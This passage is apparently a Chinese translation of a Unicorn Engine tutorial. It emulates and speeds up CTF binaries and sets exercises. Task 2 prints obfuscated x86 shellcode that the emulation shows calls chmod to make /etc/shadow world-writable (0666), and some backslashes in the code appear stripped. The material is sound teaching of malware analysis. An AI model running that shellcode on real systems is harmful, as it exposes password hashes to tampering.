printf("The flag is: ", 0LL);
while ( 1 )
{
LODWORD(v5) = 0;
do
{
a2a = 0;
fibonacci(v4 + v5, &a2a);
v8 = v7;
v5 = v7 + 1;
}
while ( v5 != 8 );
v4 += 8;
if ( (unsigned __int8)(a2a << v8) == v6 )
break;
v3 = (char *)v3 + 1;
_IO_putc((char)(v6 ^ ((_BYTE)a2a << v8)), stdout);
v9 = *((char *)v3 - 1);
}
_IO_putc(10, stdout);
return 0LL;
}
unsigned int __fastcall fibonacci(int i, _DWORD *a2)
{
_DWORD *v2; // rbp@1
unsigned int v3; // er12@3
unsigned int result; // eax@3
unsigned int v5; // edx@3
unsigned int v6; // esi@3
unsigned int v7; // edx@4
v2 = a2;
if ( i )
{
if ( i == 1 )
{
result = fibonacci(0, a2);
v5 = result - ((result >> 1) & 0x55555555);
v6 = ((result - ((result >> 1) & 0x55555555)) >> 2) & 0x33333333;
}
else
{
v3 = fibonacci(i - 2, a2);
result = v3 + fibonacci(i - 1, a2);
v5 = result - ((result >> 1) & 0x55555555);
v6 = ((result - ((result >> 1) & 0x55555555)) >> 2) & 0x33333333;
}
v7 = v6 + (v5 & 0x33333333) + ((v6 + (v5 & 0x33333333)) >> 4);
*v2 ^= ((BYTE1(v7) & 0xF) + (v7 & 0xF) + (unsigned __int8)((((v7 >> 8) & 0xF0F0F) + (v7 & 0xF0F0F0F)) >> 16)) & 1;
}
else
{
*a2 ^= 1u;
result = 1;
}
return result;
}
下面是主函数的汇编代码：
.text:0x4004E0 main proc near ; DATA XREF: start+1Do
.text:0x4004E0
.text:0x4004E0 var_1C = dword ptr -1Ch
.text:0x4004E0
.text:0x4004E0 push rbp
.text:0x4004E1 push rbx
.text:0x4004E2 xor esi, esi ; buf
.text:0x4004E4 mov ebp, offset unk_4007E1
.text:0x4004E9 xor ebx, ebx
.text:0x4004EB sub rsp, 18h
.text:0x4004EF mov rdi, cs:stdout ; stream
.text:0x4004F6 call _setbuf
.text:0x4004FB mov edi, offset format ; "The flag is: "
.text:0x400500 xor eax, eax
.text:0x400502 call _printf
.text:0x400507 mov r9d, 49h
.text:0x40050D nop dword ptr [rax]
.text:0x400510
.text:0x400510 loc_400510: ; CODE XREF: main+8Aj
.text:0x400510 xor r8d, r8d
.text:0x400513 jmp short loc_40051B
.text:0x400513 ; --------------------------------------------------------------------------- .text:0x400515 align 8
.text:0x400518
.text:0x400518 loc_400518: ; CODE XREF: main+67j
.text:0x400518 mov r9d, edi
.text:0x40051B
.text:0x40051B loc_40051B: ; CODE XREF: main+33j
.text:0x40051B lea edi, [rbx+r8]
.text:0x40051F lea rsi, [rsp+28h+var_1C]
.text:0x400524 mov [rsp+28h+var_1C], 0
.text:0x40052C call fibonacci
.text:0x400531 mov edi, [rsp+28h+var_1C]
.text:0x400535 mov ecx, r8d
.text:0x400538 add r8, 1
.text:0x40053C shl edi, cl
.text:0x40053E mov eax, edi
.text:0x400540 xor edi, r9d
.text:0x400543 cmp r8, 8
.text:0x400547 jnz short loc_400518
.text:0x400549 add ebx, 8
.text:0x40054C cmp al, r9b
.text:0x40054F mov rsi, cs:stdout ; fp
.text:0x400556 jz short loc_400570
.text:0x400558 movsx edi, dil ; c
.text:0x40055C add rbp, 1
.text:0x400560 call __IO_putc
.text:0x400565 movzx r9d, byte ptr [rbp-1]
.text:0x40056A jmp short loc_400510
.text:0x40056A ; --------------------------------------------------------------------------- .text:0x40056C align 10h
.text:0x400570
.text:0x400570 loc_400570: ; CODE XREF: main+76j
.text:0x400570 mov edi, 0Ah ; c
.text:0x400575 call __IO_putc
.text:0x40057A add rsp, 18h
.text:0x40057E xor eax, eax
.text:0x400580 pop rbx
.text:0x400581 pop rbp
.text:0x400582 retn
.text:0x400582 main endp
fibonacci函数的汇编代码如下：
.text:0x400670 fibonacci proc near ; CODE XREF: main+4Cp
.text:0x400670 ; fibonacci+19p ...
.text:0x400670 test edi, edi
.text:0x400672 push r12
.text:0x400674 push rbp
.text:0x400675 mov rbp, rsi
.text:0x400678 push rbx
.text:0x400679 jz short loc_4006F8
.text:0x40067B cmp edi, 1
.text:0x40067E mov ebx, edi
.text:0x400680 jz loc_400710
.text:0x400686 lea edi, [rdi-2]
.text:0x400689 call fibonacci
.text:0x40068E lea edi, [rbx-1]
.text:0x400691 mov r12d, eax
.text:0x400694 mov rsi, rbp
.text:0x400697 call fibonacci
.text:0x40069C add eax, r12d
.text:0x40069F mov edx, eax
.text:0x4006A1 mov ebx, eax
.text:0x4006A3 shr edx, 1
.text:0x4006A5 and edx, 55555555h
.text:0x4006AB sub ebx, edx
.text:0x4006AD mov ecx, ebx
.text:0x4006AF mov edx, ebx
.text:0x4006B1 shr ecx, 2
.text:0x4006B4 and ecx, 33333333h
.text:0x4006BA mov esi, ecx
.text:0x4006BC
.text:0x4006BC loc_4006BC: ; CODE XREF: fibonacci+C2j
.text:0x4006BC and edx, 33333333h
.text:0x4006C2 lea ecx, [rsi+rdx]
.text:0x4006C5 mov edx, ecx
.text:0x4006C7 shr edx, 4
.text:0x4006CA add edx, ecx
.text:0x4006CC mov esi, edx
.text:0x4006CE and edx, 0F0F0F0Fh
.text:0x4006D4 shr esi, 8
.text:0x4006D7 and esi, 0F0F0Fh
.text:0x4006DD lea ecx, [rsi+rdx]
.text:0x4006E0 mov edx, ecx
.text:0x4006E2 shr edx, 10h
.text:0x4006E5 add edx, ecx
.text:0x4006E7 and edx, 1
.text:0x4006EA xor [rbp+0], edx
.text:0x4006ED pop rbx
.text:0x4006EE pop rbp
.text:0x4006EF pop r12
.text:0x4006F1 retn
.text:0x4006F1 ; --------------------------------------------------------------------------- .text:0x4006F2 align 8
.text:0x4006F8
.text:0x4006F8 loc_4006F8: ; CODE XREF: fibonacci+9j
.text:0x4006F8 mov edx, 1
.text:0x4006FD xor [rbp+0], edx
.text:0x400700 mov eax, 1
.text:0x400705 pop rbx
.text:0x400706 pop rbp
.text:0x400707 pop r12
.text:0x400709 retn
.text:0x400709 ; --------------------------------------------------------------------------- .text:0x40070A align 10h
.text:0x400710
.text:0x400710 loc_400710: ; CODE XREF: fibonacci+10j
.text:0x400710 xor edi, edi
.text:0x400712 call fibonacci
.text:0x400717 mov edx, eax
.text:0x400719 mov edi, eax
.text:0x40071B shr edx, 1
.text:0x40071D and edx, 55555555h
.text:0x400723 sub edi, edx
.text:0x400725 mov esi, edi
.text:0x400727 mov edx, edi
.text:0x400729 shr esi, 2
.text:0x40072C and esi, 33333333h
.text:0x400732 jmp short loc_4006BC
.text:0x400732 fibonacci endp
解决这个问题的方式有很多种。例如，我们可以使用一种编程语言重新构建代码，并对新构建的代码进行优化。重建代码的过程并不容易，并且有可能会产生问题或错误，而解决问题、修正错误的这个过程是非常煎熬的。但假如我们使用Unicorn
Engine，就可以跳过重建代码的过程，从而避免上面提到的问题。我们还可以通过其他几种方法跳过重建代码的过程，例如通过脚本调试，或者是使用Frida。
在优化之前，我们首先模拟正常的程序，一旦程序成功运行后，我们再在Unicorn Engine中对其进行优化。
### 第一部分：模拟程序
首先我们创建一个名为fibonacci.py的文件，并将二进制文件放在同一个文件夹下。
将下面的代码添加到文件中：
from unicorn import *
from unicorn.x86_const import *
其中，第一行加载主二进制程序以及基本的Unicorn Constant，第二行加载特定于x86和x86-64体系结构的Constant。
接下来，添加如下几行：
import struct
def read(name):
with open(name) as f:
return f.read()
def u32(data):
return struct.unpack("I", data)[0]
def p32(num):
return struct.pack("I", num)
在这里，我们只添加了一些通常的功能，这些功能稍后会对我们有所帮助。
其中，read会返回整个文件的内容。u32需要一个4字节的字符串，并将其转换为一个整数，以低字节序表示这个数据。p32正相反，它需要一个数字，并将其转换为4字节的字符串，以低字节序表示。
如果你安装了pwntools，那么你就不需要创建这些函数，只需要通过`pwn import *`导入即可。
接下来，让我们初始化我们Unicorn Engine的类，以适应x86-64架构：
mu = Uc (UC_ARCH_X86, UC_MODE_64)
我们需要使用下面的参数来调用函数Uc：
1、主结构分支，其中的Constant以UC _ARCH_ 开始；
2、进一步的架构规范，其中的Constant以UC _MODE_ 开始。
您可以在本文后面的参考内容中，找到架构Constant的完整列表。
正如我们之前所说的，要使用Unicorn Engine，我们需要手动初始化虚拟内存。对于这个二进制文件，我们需要在其中的某个位置编写代码，并分配一个栈。
二进制的基址是0x400000。我们的栈将从地址0x000000开始，大小为1024*1024。也许我们并不需要那么大的空间，但创建大一些的空间也不会有任何不好的影响。
我们可以通过调用mem_map方法来映射内存。
添加如下行：
BASE = 0x400000
STACK_ADDR = 0x0
STACK_SIZE = 1024*1024
mu.mem_map(BASE, 1024*1024)
mu.mem_map(STACK_ADDR, STACK_SIZE)
现在，我们需要在基址加载二进制文件，就像加载器一样。然后我们需要将RSP设置为指向栈的末尾。
mu.mem_write(BASE, read("./fibonacci"))
mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE - 1)
在开始模拟并运行代码之前，我们首先需要知道开始地址在哪里，并且要知道模拟器应该在哪里停止。
我们可以开始模拟位于地址0x4004E0的代码，这是main的第一个地址。结束位置可以选择0x400575，这是`putc("n")`的位置，会在打印完整个Flag后被调用。如下所示：
.text:0x400570 mov edi, 0Ah ; c
.text:0x400575 call __IO_putc
我们可以开始模拟：
mu.emu_start(0x00000000004004E0, 0x0000000000400575)
现在，可以运行这个脚本：
a@x:~/Desktop/unicorn_engine_lessons$ python solve.py
Traceback (most recent call last):
File "solve.py", line 32, in <module>
mu.emu_start(0x00000000004004E0, 0x0000000000400575)
File "/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py", line 288, in emu_start
raise UcError(status)
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)
在这时，我们发现出现了一些问题，但具体还不得而知。在mu.emu_start之前，我们可以添加：
def hook_code(mu, address, size, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
mu.hook_add(UC_HOOK_CODE, hook_code)
这段代码添加了一个钩子。我们定义了函数hook_code，在模拟每个指令前被调用。该函数需要以下参数：
1、Uc实例
2、指令的地址
3、指令的大小
4、用户数据（我们可以在hook_add()的可选参数中传递这个值）
相关源代码请参考solve1.py：<http://eternal.red/assets/files/2017/UE/solve1.py> 。
运行时，我们可以看到：
a@x:~/Desktop/unicorn_engine_lessons$ python solve.py
>>> Tracing instruction at 0x4004e0, instruction size = 0x1
>>> Tracing instruction at 0x4004e1, instruction size = 0x1
>>> Tracing instruction at 0x4004e2, instruction size = 0x2
>>> Tracing instruction at 0x4004e4, instruction size = 0x5
>>> Tracing instruction at 0x4004e9, instruction size = 0x2
>>> Tracing instruction at 0x4004eb, instruction size = 0x4
>>> Tracing instruction at 0x4004ef, instruction size = 0x7
Traceback (most recent call last):
File "solve.py", line 41, in <module>
mu.emu_start(0x00000000004004E0, 0x0000000000400575)
File "/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py", line 288, in emu_start
raise UcError(status)
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)
这意味着，脚本在执行以下指令时失败：
.text:0x4004EF mov rdi, cs:stdout ; stream
该指令从地址0x601038读取内存（可以在IDA Pro中看到）。这是.bss段，并不是由我们分配的。因此我们的解决方案是跳过所有有问题的指令。
下面有一条指令：
.text:0x4004F6 call _setbuf
我们并不能调用任何glibc函数，因为此前并没有将glibc加载到虚拟内存中。事实上，我们并不需要调用这个函数，所以也可以跳过它。
下面是我们需要跳过的指令列表：
.text:0x4004EF mov rdi, cs:stdout ; stream
.text:0x4004F6 call _setbuf
.text:0x400502 call _printf
.text:0x40054F mov rsi, cs:stdout ; fp
我们可以通过将地址写入下一条指令的RIP寄存器来跳过指令：
mu.reg_write(UC_X86_REG_RIP, address+size)
hook_code现在应该是这样的：
instructions_skip_list = [0x00000000004004EF, 0x00000000004004F6, 0x0000000000400502, 0x000000000040054F]
def hook_code(mu, address, size, user_data):
print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
if address in instructions_skip_list:
mu.reg_write(UC_X86_REG_RIP, address+size)
此外，我们还需要对逐字节打印Flag的指令进行一些操作。
.text:0x400558 movsx edi, dil ; c
.text:0x40055C add rbp, 1
.text:0x400560 call __IO_putc
__IO_putc需要一个字节，以打印出第一个参数（即寄存器RDI）。
我们可以从寄存器RDI中读取一个值并打印出来，同时跳过模拟这个指令。此时的hook_code函数如下所示：
instructions_skip_list = [0x00000000004004EF, 0x00000000004004F6, 0x0000000000400502, 0x000000000040054F]
def hook_code(mu, address, size, user_data):
#print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
if address in instructions_skip_list:
mu.reg_write(UC_X86_REG_RIP, address+size)
elif address == 0x400560: #that instruction writes a byte of the flag
c = mu.reg_read(UC_X86_REG_RDI)
print(chr(c))
mu.reg_write(UC_X86_REG_RIP, address+size)
相关源代码请参考solve2.py：<http://eternal.red/assets/files/2017/UE/solve2.py> 。
接下来，便可以运行，我们发现它确实可以正常工作，但速度还是很慢。
a@x:~/Desktop/unicorn_engine_lessons$ python solve.py
h
x
### 第二部分：提速
接下来，让我们考虑一下提速的方法。为什么这个程序的运行速度如此之慢？
查看反编译的代码，我们可以看到main()多次调用了fibonacci()，并且fibonacci()是一个递归函数。
具体分析这个函数，我们看到它有两个参数，并返回两个值。第一个返回值通过RAX寄存器传递，而第二个返回值通过第二个参数传递。深入研究main()和fibonacci()，我们注意到其第二个参数只能取0或1的值。如果我们没有发现，还可以运行gdb，并在fibonacci()函数的开始处设置一个断点。
为了优化这个函数，我们可以使用动态编程的方法来记录针对特定参数的返回值。由于第二个参数只可能是两个值，所以我们只需要记录2个MAX_OF_FIRST_ARGUMENT对。
当RIP指向fibonacci函数的开始时，我们可以获得函数的参数。在函数结束时，需要得知函数的返回值。既然目前我们不清楚返回值，所以需要使用一个栈，来帮助我们在函数结束时获得这两个返回值。在fibonacci的入口，我们需要将参数推入栈，并在最后弹出。为了记录其中的对（Pairs），我们可以使用字典。
如何检查对（Pairs）的值？
在函数的开始处，可以检查返回值是否被存储在字典中，以用于这些参数。如果已经被存储，我们可以返回该对。只需要将返回值写入到引用和RAX中即可。此外，我们还将RIP设置为一些RET指令的地址来退出函数。由于这一指令被Hook住了，所以我们不能在fibonacci函数中跳转到RET。如果该返回值不在字典中，我们将参数添加到栈中。在退出函数时，可以保存返回值。我们可以从栈结构中读取参数和引用指针。
代码如下所示：
FIBONACCI_ENTRY = 0x0000000000400670
FIBONACCI_END = [0x00000000004006F1, 0x0000000000400709]
stack = [] # Stack for storing the arguments
d = {} # Dictionary that holds return values for given function arguments
def hook_code(mu, address, size, user_data):
#print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
if address in instructions_skip_list:
mu.reg_write(UC_X86_REG_RIP, address+size)
elif address == 0x400560: # That instruction writes a byte of the flag
c = mu.reg_read(UC_X86_REG_RDI)
print(chr(c))
mu.reg_write(UC_X86_REG_RIP, address+size)
elif address == FIBONACCI_ENTRY: # Are we at the beginning of fibonacci function?
arg0 = mu.reg_read(UC_X86_REG_RDI) # Read the first argument. Tt is passed via RDI
r_rsi = mu.reg_read(UC_X86_REG_RSI) # Read the second argument which is a reference
arg1 = u32(mu.mem_read(r_rsi, 4)) # Read the second argument from reference
if (arg0,arg1) in d: # Check whether return values for this function are already saved.
(ret_rax, ret_ref) = d[(arg0,arg1)]
mu.reg_write(UC_X86_REG_RAX, ret_rax) # Set return value in RAX register
mu.mem_write(r_rsi, p32(ret_ref)) # Set retun value through reference
mu.reg_write(UC_X86_REG_RIP, 0x400582) # Set RIP to point at RET instruction. We want to return from fibonacci function
else:
stack.append((arg0,arg1,r_rsi)) # If return values are not saved for these arguments, add them to stack.
elif address in FIBONACCI_END:
(arg0, arg1, r_rsi) = stack.pop() # We know arguments when exiting the function
ret_rax = mu.reg_read(UC_X86_REG_RAX) # Read the return value that is stored in RAX
ret_ref = u32(mu.mem_read(r_rsi,4)) # Read the return value that is passed reference
d[(arg0, arg1)]=(ret_rax, ret_ref) # Remember the return values for this argument pair
完整脚本请参考solve3.py：<http://eternal.red/assets/files/2017/UE/solve3.py> 。
至此，我们已经成功地使用Unicorn Engine来优化程序。
接下来，我推荐大家完成下面三个任务的练习。针对每个任务，都有提示和解决方案，并且在解决任务的过程中，可以查看后文的参考内容。
我认为，其中一个很重要的问题就是要知道Constant的名称。处理这个问题的最好方法是借助IPython的自动补全（Tab
Completion）来完成。在你安装IPython之后，可以输入from unicorn import UC _ARCH_
，并按TAB键，所有以这个前缀开头的Constant都将被打印出来。
##
## 任务2
分析下列Shellcode：
shellcode = "xe8xffxffxffxffxc0x5dx6ax05x5bx29xddx83xc5x4ex89xe9x6ax02x03x0cx24x5bx31xd2x66xbax12x00x8bx39xc1xe7x10xc1xefx10x81xe9xfexffxffxffx8bx45x00xc1xe0x10xc1xe8x10x89xc3x09xfbx21xf8xf7xd0x21xd8x66x89x45x00x83xc5x02x4ax85xd2x0fx85xcfxffxffxffxecx37x75x5dx7ax05x28xedx24xedx24xedx0bx88x7fxebx50x98x38xf9x5cx96x2bx96x70xfexc6xffxc6xffx9fx32x1fx58x1ex00xd3x80"
如你所见，该程序集被混淆了（命令disarm是pwntools的一个功能）：
a@x:~/Desktop/unicorn_engine_lessons$ disasm e8ffffffffc05d6a055b29dd83c54e89e96a02030c245b31d266ba12008b39c1e710c1ef1081e9feffffff8b4500c1e010c1e81089c309fb21f8f7d021d86689450083c5024a85d20f85cfffffffec37755d7a0528ed24ed24ed0b887feb509838f95c962b9670fec6ffc6ff9f321f581e00d380
0: e8 ff ff ff ff call 0x4
5: c0 5d 6a 05 rcr BYTE PTR [ebp+0x6a], 0x5
9: 5b pop ebx
a: 29 dd sub ebp, ebx
c: 83 c5 4e add ebp, 0x4e
f: 89 e9 mov ecx, ebp
11: 6a 02 push 0x2
13: 03 0c 24 add ecx, DWORD PTR [esp]
16: 5b pop ebx
17: 31 d2 xor edx, edx
19: 66 ba 12 00 mov dx, 0x12
1d: 8b 39 mov edi, DWORD PTR [ecx]
1f: c1 e7 10 shl edi, 0x10
22: c1 ef 10 shr edi, 0x10
25: 81 e9 fe ff ff ff sub ecx, 0xfffffffe
2b: 8b 45 00 mov eax, DWORD PTR [ebp+0x0]
2e: c1 e0 10 shl eax, 0x10
31: c1 e8 10 shr eax, 0x10
34: 89 c3 mov ebx, eax
36: 09 fb or ebx, edi
38: 21 f8 and eax, edi
3a: f7 d0 not eax
3c: 21 d8 and eax, ebx
3e: 66 89 45 00 mov WORD PTR [ebp+0x0], ax
42: 83 c5 02 add ebp, 0x2
45: 4a dec edx
46: 85 d2 test edx, edx
48: 0f 85 cf ff ff ff jne 0x1d
4e: ec in al, dx
4f: 37 aaa
50: 75 5d jne 0xaf
52: 7a 05 jp 0x59
54: 28 ed sub ch, ch
56: 24 ed and al, 0xed
58: 24 ed and al, 0xed
5a: 0b 88 7f eb 50 98 or ecx, DWORD PTR [eax-0x67af1481]
60: 38 f9 cmp cl, bh
62: 5c pop esp
63: 96 xchg esi, eax
64: 2b 96 70 fe c6 ff sub edx, DWORD PTR [esi-0x390190]
6a: c6 (bad)
6b: ff 9f 32 1f 58 1e call FWORD PTR [edi+0x1e581f32]
71: 00 d3 add bl, dl
73: 80 .byte 0x80
请注意，目前的架构是x86-32。系统调用的列表可以在这里查看：<https://syscalls.kernelgrok.com/> 。
### 提示
您可以Hook一个int 80h指令，它由cd
80表示。接下来，您可以读取寄存器和内存。需要记住的是，Shellcode是一个可以在任何地址加载的代码，绝大多数Shellcode都使用了栈。
### 解决方案
下面的代码是通过几个步骤创建而成的。通过UE错误信息，我们获得了一些线索，并想到了最终的解决方案。
from unicorn import *
from unicorn.x86_const import *
shellcode = "xe8xffxffxffxffxc0x5dx6ax05x5bx29xddx83xc5x4ex89xe9x6ax02x03x0cx24x5bx31xd2x66xbax12x00x8bx39xc1xe7x10xc1xefx10x81xe9xfexffxffxffx8bx45x00xc1xe0x10xc1xe8x10x89xc3x09xfbx21xf8xf7xd0x21xd8x66x89x45x00x83xc5x02x4ax85xd2x0fx85xcfxffxffxffxecx37x75x5dx7ax05x28xedx24xedx24xedx0bx88x7fxebx50x98x38xf9x5cx96x2bx96x70xfexc6xffxc6xffx9fx32x1fx58x1ex00xd3x80"
BASE = 0x400000
STACK_ADDR = 0x0
STACK_SIZE = 1024*1024
mu = Uc (UC_ARCH_X86, UC_MODE_32)
mu.mem_map(BASE, 1024*1024)
mu.mem_map(STACK_ADDR, STACK_SIZE)
mu.mem_write(BASE, shellcode)
mu.reg_write(UC_X86_REG_ESP, STACK_ADDR + STACK_SIZE/2)
def syscall_num_to_name(num):
syscalls = {1: "sys_exit", 15: "sys_chmod"}
return syscalls[num]
def hook_code(mu, address, size, user_data):
#print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
machine_code = mu.mem_read(address, size)
if machine_code == "xcdx80":
r_eax = mu.reg_read(UC_X86_REG_EAX)
r_ebx = mu.reg_read(UC_X86_REG_EBX)
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
syscall_name = syscall_num_to_name(r_eax)
print "--------------"
print "We intercepted system call: "+syscall_name
if syscall_name == "sys_chmod":
s = mu.mem_read(r_ebx, 20).split("x00")[0]
print "arg0 = 0x%x -> %s" % (r_ebx, s)
print "arg1 = " + oct(r_ecx)
elif syscall_name == "sys_exit":
print "arg0 = " + hex(r_ebx)
exit()
mu.reg_write(UC_X86_REG_EIP, address + size)
mu.hook_add(UC_HOOK_CODE, hook_code)
mu.emu_start(BASE, BASE-1)
最终代码如下：
a@x:~/Desktop/unicorn_engine_lessons$ python solve_task2.py
-------------- We intercepted system call: sys_chmod
arg0 = 0x400058 -> /etc/shadow
arg1 = 0666L
-------------- We intercepted system call: sys_exit
arg0 = 0x400058L
##
## 任务3
下载二进制文件（ <http://eternal.red/assets/files/2017/UE/function> ），该文件是用以下命令编译的：
`gcc function.c -m32 -o function`
这个二进制代码如下所示：
int strcmp(char *a, char *b)
{
//get length
int len = 0;
char *ptr = a;
while(*ptr)
{
ptr++;
len++;
}
//comparestrings
for(int i=0; i<=len; i++)
{
if (a[i]!=b[i])
return 1;
}
return 0;
}
__attribute__((stdcall))
int super_function(int a, char *b)
{
if (a==5 && !strcmp(b, "batman"))
{
return 1;
}
return 0;
}
int main()
{
super_function(1, "spiderman");
}
任务是调用super_function，使其返回1。
其汇编代码如下：
.text:0x8048464 super_function proc near ; CODE XREF: main+16p
.text:0x8048464
.text:0x8048464 arg_0 = dword ptr 8
.text:0x8048464 arg_4 = dword ptr 0Ch
.text:0x8048464
.text:0x8048464 push ebp
.text:0x8048465 mov ebp, esp
.text:0x8048467 call __x86_get_pc_thunk_ax
.text:0x804846C add eax, 1B94h
.text:0x8048471 cmp [ebp+arg_0], 5
.text:0x8048475 jnz short loc_8048494
.text:0x8048477 lea eax, (aBatman - 804A000h)[eax] ; "batman"
.text:0x804847D push eax
.text:0x804847E push [ebp+arg_4]
.text:0x8048481 call strcmp
.text:0x8048486 add esp, 8
.text:0x8048489 test eax, eax
.text:0x804848B jnz short loc_8048494
.text:0x804848D mov eax, 1
.text:0x8048492 jmp short locret_8048499
.text:0x8048494 ; --------------------------------------------------------------------------- .text:0x8048494
.text:0x8048494 loc_8048494: ; CODE XREF: super_function+11j
.text:0x8048494 ; super_function+27j
.text:0x8048494 mov eax, 0
.text:0x8048499
.text:0x8048499 locret_8048499: ; CODE XREF: super_function+2Ej
.text:0x8048499 leave
.text:0x804849A retn 8
.text:0x804849A super_function endp
### 提示
根据stdcall调用约定，当模拟过程开始时，栈应该如下图所示。我们看到在下图中，RET只是返回地址（可以为任意值）。
### 解决方案
from unicorn import *
from unicorn.x86_const import *
import struct
def read(name):
with open(name) as f:
return f.read()
def u32(data):
return struct.unpack("I", data)[0]
def p32(num):
return struct.pack("I", num)
mu = Uc (UC_ARCH_X86, UC_MODE_32)
BASE = 0x08048000
STACK_ADDR = 0x0
STACK_SIZE = 1024*1024
mu.mem_map(BASE, 1024*1024)
mu.mem_map(STACK_ADDR, STACK_SIZE)
mu.mem_write(BASE, read("./function"))
r_esp = STACK_ADDR + (STACK_SIZE/2) #ESP points to this address at function call
STRING_ADDR = 0x0
mu.mem_write(STRING_ADDR, "batmanx00") #write "batman" somewhere. We have choosen an address 0x0 which belongs to the stack.
mu.reg_write(UC_X86_REG_ESP, r_esp) #set ESP
mu.mem_write(r_esp+4, p32(5)) #set the first argument. It is integer 5
mu.mem_write(r_esp+8, p32(STRING_ADDR)) #set the second argument. This is a pointer to the string "batman"
mu.emu_start(0x8048464, 0x804849A) #start emulation from the beginning of super_function, end at RET instruction
return_value = mu.reg_read(UC_X86_REG_EAX)
print "The returned value is: %d" % return_value
a@x:~/Desktop/unicorn_engine_lessons$ python solve_task3.py
The returned value is: 1
##
## 任务4
这个任务与任务1类似，但不同之处就在于这里的架构不再是x86，而是低字节序的ARM32。
a@x:~/Desktop/unicorn_engine_lessons$ file task4
task4: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3dbf508680ba3d023d3422025954311e1d8fb4a1, not stripped
二进制文件下载地址为：<http://eternal.red/assets/files/2017/UE/task4> 。
参考这篇资料可能会有所帮助：<http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042f/IHI0042F_aapcs.pdf>
。
### 正确答案
2635833876
### 提示
1、函数的第一个参数在R0 (UC_ARM_REG_R0)中传递；
2、返回值也在R0中；
3、第二个参数在R1 (UC_ARM_REG_R1)中传递；
4、我们可以通过这种方式来得到ARM32架构下的Unicorn实例：mu = Uc (UC_ARCH_ARM,
UC_MODE_LITTLE_ENDIAN)。
### 解决方案
from unicorn import *
from unicorn.arm_const import *
import struct
def read(name):
with open(name) as f:
return f.read()
def u32(data):
return struct.unpack("I", data)[0]
def p32(num):
return struct.pack("I", num)
mu = Uc (UC_ARCH_ARM, UC_MODE_LITTLE_ENDIAN)
BASE = 0x10000
STACK_ADDR = 0x300000
STACK_SIZE = 1024*1024
mu.mem_map(BASE, 1024*1024)
mu.mem_map(STACK_ADDR, STACK_SIZE)
mu.mem_write(BASE, read("./task4"))
mu.reg_write(UC_ARM_REG_SP, STACK_ADDR + STACK_SIZE/2)
instructions_skip_list = []
CCC_ENTRY = 0x000104D0
CCC_END = 0x00010580
stack = [] # Stack for storing the arguments
d = {} # Dictionary that holds return values for given function arguments
def hook_code(mu, address, size, user_data):
#print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size))
if address == CCC_ENTRY: # Are we at the beginning of ccc function?
arg0 = mu.reg_read(UC_ARM_REG_R0) # Read the first argument. it is passed by R0
if arg0 in d: # Check whether return value for this function is already saved.
ret = d[arg0]
mu.reg_write(UC_ARM_REG_R0, ret) # Set return value in R0
mu.reg_write(UC_ARM_REG_PC, 0x105BC) # Set PC to point at "BX LR" instruction. We want to return from fibonacci function
else:
stack.append(arg0) # If return value is not saved for this argument, add it to stack.
elif address == CCC_END:
arg0 = stack.pop() # We know arguments when exiting the function
ret = mu.reg_read(UC_ARM_REG_R0) # Read the return value (R0)
d[arg0] = ret # Remember the return value for this argument
mu.hook_add(UC_HOOK_CODE, hook_code)
mu.emu_start(0x00010584, 0x000105A8)
return_value = mu.reg_read(UC_ARM_REG_R1) # We end the emulation at printf("%dn", ccc(x)).
print "The return value is %d" % return_value
## 参考内容
`from unicorn import *` —— 加载主Unicorn库，它包含函数和基本Constant。
`from unicorn.x86_const import *` —— 加载特定于x86和x86-64架构的Constant。
Unicorn模块中的所有Const如下：
UC_API_MAJOR UC_ERR_VERSION UC_MEM_READ UC_PROT_ALL
UC_API_MINOR UC_ERR_WRITE_PROT UC_MEM_READ_AFTER UC_PROT_EXEC
UC_ARCH_ARM UC_ERR_WRITE_UNALIGNED UC_MEM_READ_PROT UC_PROT_NONE
UC_ARCH_ARM64 UC_ERR_WRITE_UNMAPPED UC_MEM_READ_UNMAPPED UC_PROT_READ
UC_ARCH_M68K UC_HOOK_BLOCK UC_MEM_WRITE UC_PROT_WRITE
UC_ARCH_MAX UC_HOOK_CODE UC_MEM_WRITE_PROT UC_QUERY_MODE
UC_ARCH_MIPS UC_HOOK_INSN UC_MEM_WRITE_UNMAPPED UC_QUERY_PAGE_SIZE
UC_ARCH_PPC UC_HOOK_INTR UC_MILISECOND_SCALE UC_SECOND_SCALE
UC_ARCH_SPARC UC_HOOK_MEM_FETCH UC_MODE_16 UC_VERSION_EXTRA
UC_ARCH_X86 UC_HOOK_MEM_FETCH_INVALID UC_MODE_32 UC_VERSION_MAJOR
UC_ERR_ARCH UC_HOOK_MEM_FETCH_PROT UC_MODE_64 UC_VERSION_MINOR
UC_ERR_ARG UC_HOOK_MEM_FETCH_UNMAPPED UC_MODE_ARM Uc
UC_ERR_EXCEPTION UC_HOOK_MEM_INVALID UC_MODE_BIG_ENDIAN UcError
UC_ERR_FETCH_PROT UC_HOOK_MEM_PROT UC_MODE_LITTLE_ENDIAN arm64_const
UC_ERR_FETCH_UNALIGNED UC_HOOK_MEM_READ UC_MODE_MCLASS arm_const
UC_ERR_FETCH_UNMAPPED UC_HOOK_MEM_READ_AFTER UC_MODE_MICRO debug
UC_ERR_HANDLE UC_HOOK_MEM_READ_INVALID UC_MODE_MIPS3 m68k_const
UC_ERR_HOOK UC_HOOK_MEM_READ_PROT UC_MODE_MIPS32 mips_const
UC_ERR_HOOK_EXIST UC_HOOK_MEM_READ_UNMAPPED UC_MODE_MIPS32R6 sparc_const
UC_ERR_INSN_INVALID UC_HOOK_MEM_UNMAPPED UC_MODE_MIPS64 uc_arch_supported
